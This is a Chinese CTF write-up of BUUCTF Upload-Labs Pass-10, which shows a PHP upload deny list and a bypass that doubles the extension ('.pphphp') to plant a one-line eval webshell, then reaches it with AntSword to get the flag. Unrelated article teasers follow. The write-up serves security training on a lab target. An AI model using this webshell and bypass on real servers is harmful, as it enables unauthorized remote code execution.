【CTF Web】BUUCTF Upload-Labs-Linux Pass-10 Writeup(文件上传+PHP+扩展名双写绕过)

news2024/11/15 9:11:34

Upload-Labs-Linux

1
点击部署靶机。

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

注意

1.每一关没有固定的通关方法,大家不要自限思维!

2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。

3.实在没有思路时,可以点击查看提示。

4.如果黑盒情况下,实在做不出,可以点击查看源码。

后续

如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!

项目地址:https://github.com/c0ny1/upload-labs

任务

上传一个webshell到服务器。

提示

本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}


解法

传个一句话木马。

<?php @eval($_POST['a']); ?>

上传成功。

右键点击图片,复制图像链接。发现文件上传后,后缀不见了。应该是把 php 替换成了空字符串。

http://6878cd72-e8d6-4687-a400-5f35e68e1a33.node5.buuoj.cn:81/upload/a.

双写后缀,将后缀改为 .pphphp。如果 php 被替换成空字符串,那么扩展名就变成了 .php。

右键点击图片,复制图像链接。

http://6878cd72-e8d6-4687-a400-5f35e68e1a33.node5.buuoj.cn:81/upload/a.php

通过蚁剑连接:

http://6878cd72-e8d6-4687-a400-5f35e68e1a33.node5.buuoj.cn:81/upload/a.php

访问根目录。

找到 flag。

Flag

flag{e5c6ec40-25ad-4ef3-bd64-22ae1e9cd061}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2110096.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot+vue+mybatisjsp广播剧制作订阅系统+PPT+论文+讲解+售后

随着世界经济信息化、全球化的到来和互联网的飞速发展&#xff0c;推动了各行业的改革。若想达到安全&#xff0c;快捷的目的&#xff0c;就需要拥有信息化的组织和管理模式&#xff0c;建立一套合理、动态的、交互友好的、高效的广播剧制作订阅系统。当前的信息管理存在工作效…

element-ui打包之后图标不显示,woff、ttf加载404

1、bug 起因 昨天在 vue 项目中编写 element-ui 的树形结构的表格&#xff0c;发现项目中无法生效&#xff0c;定位问题之后发现项目使用的 element-ui 的版本是 2.4.11 。看了官方最新版本是 2.15.14&#xff0c;然后得知 2.4.11 版本是不支持表格树形结构的。于是决定升级 el…

Python 在Excel中应用和取消多种不同类型的数据筛选

目录 安装Python Excel处理库 Python 在 Excel 中应用文本筛选 Python 在 Excel 中应用数字筛选 Python 在 Excel 中应用字体颜色、单元格颜色或图标集筛选 Python 在 Excel 中应用日期筛选 Python 在 Excel 中应用动态日期筛选 Python 在 Excel 中筛选空单元格或非空单…

再做leetcode42hard题接雨水——双指针法

再做leetcode42hard题接雨水——双指针法 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a…

在jenkins中获取git的修改记录的方法

获取 Jenkins API Token&#xff1a; 首先&#xff0c;登录到你的 Jenkins 服务器。 点击右上角的用户名&#xff0c;然后选择“Configure&#xff08;配置&#xff09;”。 在“API Token”部分&#xff0c;生成一个新的 API Token 或使用已有的 Token。 构建 API 请求 URL&a…

k8s上搭建devops环境

一、gitlab 1.安装gitlab # 下载安装包 wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-15.9.1-ce.0.el7.x86_64.rpm # 安装 rpm -i gitlab-ce-15.9.1-ce.0.el7.x86_64.rpm # 编辑 vi /etc/gitlab/gitlab.rb 文件 # 修改 external_url 访问路径 htt…

网络安全工程师培训费用

在当今这个信息化迅猛发展的时代&#xff0c;网络安全已成为各行各业关注的焦点。作为保障网络信息安全的中坚力量&#xff0c;网络安全工程师的需求量逐年攀升。随之而来的是&#xff0c;越来越多的人对网络安全工程师的培训费用充满了好奇。本文将为您详细解析这一问题&#…

内存卡不小心格式化了有办法恢复数据吗?

在数字时代&#xff0c;内存卡作为便携式存储设备&#xff0c;广泛应用于手机、相机等设备中。然而&#xff0c;由于操作不当或设备故障&#xff0c;内存卡有时会被不小心格式化&#xff0c;导致存储在其中的重要数据丢失。 面对这种情况&#xff0c;许多人可能会感到焦虑&…

C语言求100以内的素数

问题&#xff1a;用C语言求出100以内的素数。 分析&#xff1a;素数&#xff0c;即质数&#xff0c;是指只可以被1和本身整除的数。此时可以考虑用循环的方法来用这个数除以所有1001以内的数&#xff0c;若存在余数为0的情况&#xff0c;则说明该数不是素数&#xff1b;此外&am…

MyBatis 一级缓存原理

优质博文&#xff1a;IT-BLOG-CN 一、一级缓存配置 MyBatis一级缓存默认是开启的。如果需要显示的开启&#xff0c;需要在MyBaits配置文件中<settings>标签中添加如下语句&#xff1a; <settings><setting name"localCacheScope" value"SESSI…

k8s之HPA实践——实现Web服务器的自动伸缩特性

文章目录 在生产环境中&#xff0c;总会有一些意想不到的事情发生&#xff0c;比如公司网站流量突然升高&#xff0c;此时之前创建的Pod已不足以支撑所有的访问&#xff0c;而运维人员也不可能24小时守着业务服务&#xff0c;这时就可以通过配置HPA&#xff0c;实现负载过高的情…

APP黄金流量:如何完成首页入口资源位最大价值

首页资源位的使用很重要 首页资源位&#xff0c;是指用户打开并进入 App 后&#xff0c;所有直接展示给用户内容&#xff0c;即不需要用户滑动页面就看到的内容&#xff0c;都是首页资源位。 移动互联网流量即王道&#xff0c;而 App 首页展示给用户的内容&#xff0c;会直接…

基于CNN卷积神经网络迁移学习的图像识别实现

基于CNN卷积神经网络迁移学习的图像识别实现 基于CNN卷积神经网络迁移学习的图像识别实现写在前面一&#xff0c;原理介绍迁移学习的基本方法1.样本迁移&#xff08;Instance based TL&#xff09;2.特征迁移&#xff08;Feature based TL&#xff09;3.模型迁移&#xff08;Pa…

html+css网页设计 我的家乡5个页面

htmlcss网页设计 我的家乡5个页面 网页作品代码简单&#xff0c;可使用任意HTML辑软件&#xff08;如&#xff1a;Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作&#xff09;。 获取源码 1&#xff0c;访…

第二证券:北交所新股申购和沪深两市有什么区别?

北交所新股申购和沪深新股申购的区别&#xff1a; 1、申购条件不同 深市、沪市申购新股前第22个交易日至申购前第2个交易日的日均持有市值在1万元以上的投资者可参加新股申购。 此外&#xff0c;创业板&#xff08;深市&#xff09;新股申购有必要注册创业板权限。创业板注册…

哈希扩展(位图与布隆过滤器)

文章目录 位图布隆过滤器实现原理&#xff1a;HashMap的问题布隆过滤器结果 海量数据处理位图应用布隆过滤器应用 位图 问题&#xff1a;从40亿个没有排序的无符号整数查找一个数是否存在 方法一&#xff1a; 依次遍历&#xff1a;O(N) 太慢了 排序 二分 1G 1024MB 1024 …

Python3.12兼容性问题-ImpImporter替换的解决办法

前言 目前现有的很多Python代码都是基于Python3.8、或者Python3.9的甚至是更早的版本。 当我们用最新的Python3.12来跑这些程序的时候&#xff0c;就会出现很多兼容性的问题。 本文就对“ImpImporter”和“zipimporter”的替换问题给出了一个解决方案。 1、错误描述 Attribu…

JVM系列(七) -对象的内存分配流程

一、摘要 在之前的文章中,我们介绍了类加载的过程、JVM 内存布局和对象的创建过程相关的知识。 本篇综合之前的知识,重点介绍一下对象的内存分配流程。 二、对象的内存分配原则 在之前的 JVM 内存结构布局的文章中,我们介绍到了 Java 堆的内存布局,由 年轻代 (Young Ge…

2024数学建模国赛D题39页成品论文+每小问解题代码+可视化结果

2024 年高教社杯全国大学生数学建模竞赛完整分析文章 点击链接加入群聊【2024数学建模国赛资料汇总】&#xff1a;http://qm.qq.com/cgi-bin/qm/qr?_wv1027&klZncBILk30DuPRI1Bd8X-3Djv7ZVZyAv&authKeykKqNSSEbbZN%2FVKn%2BICOqJGahEHfhJEe7BSxK5IMua%2BYQqwaHkGaHvK…

ArrayList是线程安全的吗?怎么解决?

ArrayList是一个线程不安全的容器&#xff0c;如果在多线程中使用ArrayList&#xff0c;可能会导致程序出错。那可能是哪些问题呢&#xff1f;请看一个例子&#xff1a; package test;import java.util.ArrayList;/*** ArrayList并发问题演示*/ public class ArrayListMultiTh…